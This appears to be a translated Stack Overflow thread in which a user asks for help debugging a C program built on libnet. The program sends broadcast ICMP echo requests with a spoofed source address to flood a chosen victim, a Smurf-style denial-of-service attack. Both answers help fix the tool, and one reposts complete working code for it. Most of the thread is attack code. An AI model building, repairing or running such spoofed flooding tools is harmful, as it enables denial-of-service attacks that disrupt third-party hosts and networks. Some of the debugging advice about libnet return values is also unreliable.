1

我正在尝试创建一个以目标 IP 地址和广播 IP 地址为参数的 ping 洪水程序。程序会将icmp echo数据包发送到广播地址,并以victms ip地址作为源。网络上所有收到数据包的主机都会将答案返回给受害者。

代码如下所示:

#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
#include <udi.h>


void usage(char * pname)
{
    printf("[!] The program sends fake icmp echo request to broadcast address in order to ping flood a device\n", pname);
    printf("[!] USAGE - %s [ipv4 address to attack] [ipv4 broadcast address]\n", pname);
}

int main(int argc, char *argv[])
{
    if(argc != 3)
        usage(argv[0]);


    char errbuff[LIBNET_ERRBUF_SIZE];       
    libnet_t *l;                            
    uint16_t cmp_id;
    uint16_t ip_id; 
    for(int i=0; i<100; i++)
    {
    l=libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff);  //initializing the packet
    if(l==NULL)
    {
        fatal("in initializing the index of the packet...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }


    libnet_seed_prand(l);
    cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
    ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);

    if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0)
    {
        fatal("while trying to build icmpv4_echo packet...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }

    if(libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H, 0, ip_id, 0, 255, IPPROTO_ICMP, 0, inet_addr(argv[1]), inet_addr(argv[2]), NULL, 0, l, 0) == -1)
    {
        fatal("while trying to create ipv4 header...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }

    if(libnet_write(l) == -1)
    {
        fatal("while trying to write the packet...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }


    libnet_destroy(l);
    }
    return 0;
}

当我运行它时,我得到这个输出:

[!] FATAL ERROR: while trying to write the packet...
ERROR: : Success

我正在使用 libnet 库来创建数据包,我感觉 libnet_build_ipv4() 函数中存在某种错误。

有什么帮助和建议吗?

谢谢。

4

2 回答 2

0

以下建议的代码:

  1. 干净地编译和链接: gcc -ggdb -Wall -Wextra -Wconversion -pedantic -std=gnu11 libnet-config --definesuntitled2.c -o untitled2 libnet-config --libs
  2. 格式一致
  3. 任何错误后立即退出,但是,您可能需要添加语句: libnet_destroy( libObject ); 在创建对象后的任何退出点。

警告尚未使用实际 URL 进行测试

现在建议的代码:

#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
//#include <udi.h>


void usage(char * pname);


int main(int argc, char *argv[])
{
    if(argc != 3)
    {
        usage(argv[0]);
        exit( EXIT_FAILURE );
    }

    char errbuff[LIBNET_ERRBUF_SIZE];
    uint16_t cmp_id;
    uint16_t ip_id;

    for( int i=0; i<100; i++ )
    {
        libnet_t *libObject = libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff);  //initializing the packet
        if( ! libObject )
        {
            fprintf( stderr, "%s\n",
                "in initializing the index of the packet...\nERROR: ");
            fprintf( stderr, "%s\n", libnet_geterror( libObject ));
        }

        libnet_seed_prand( libObject );
        cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
        ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);

        if(libnet_build_icmpv4_echo(
            ICMP_ECHO,
            0,
            0,
            cmp_id,
            1,
            NULL,
            0,
            libObject,
            0) != 0)
        {
            fprintf( stderr, "%s\n",
                "while trying to build icmpv4_echo packet...\nERROR: ");
            fprintf( stderr, "%s\n",
                libnet_geterror( libObject ));
        }

        if( libnet_build_ipv4(
            LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H,
            0,
            ip_id,
            0,
            255,
            IPPROTO_ICMP,
            0,
            inet_addr(argv[1]),
            inet_addr(argv[2]),
            NULL,
            0,
            libObject,
            0) == -1)
        {
            fprintf( stderr, "%s\n",
                "while trying to create ipv4 header...\nERROR: ");
            fprintf( stderr, "%s\n",
                libnet_geterror( libObject ));
        }

        if(libnet_write( libObject ) == -1)
        {
            fprintf( stderr, "%s\n",
                "while trying to write the packet...\nERROR: ");
            fprintf( stderr, "%s\n",
                libnet_geterror( libObject ));
        }

        libnet_destroy( libObject );
    }
    return 0;
}




void usage(char * pname)
{
    fprintf( stderr, "%s %s\n",
        pname,
        "sends fake icmp echo request to broadcast address "
        "in order to ping flood a device");
    fprintf( stderr, "USAGE: %s %s\n",
        pname,
        "[ipv4 address to attack] [ipv4 broadcast address]");
}

运行没有参数的代码会导致:

./untitled2 sends fake icmp echo request to broadcast address in order to ping flood a device
USAGE: ./untitled2 [ipv4 address to attack] [ipv4 broadcast address]
于 2017-12-17T18:26:59.520 回答
0

关于:

if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0) 

这是不正确的,0 返回值表示成功。

声明应为:

if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) != 0) 

注意从==到的变化!=

于 2017-12-15T23:34:51.193 回答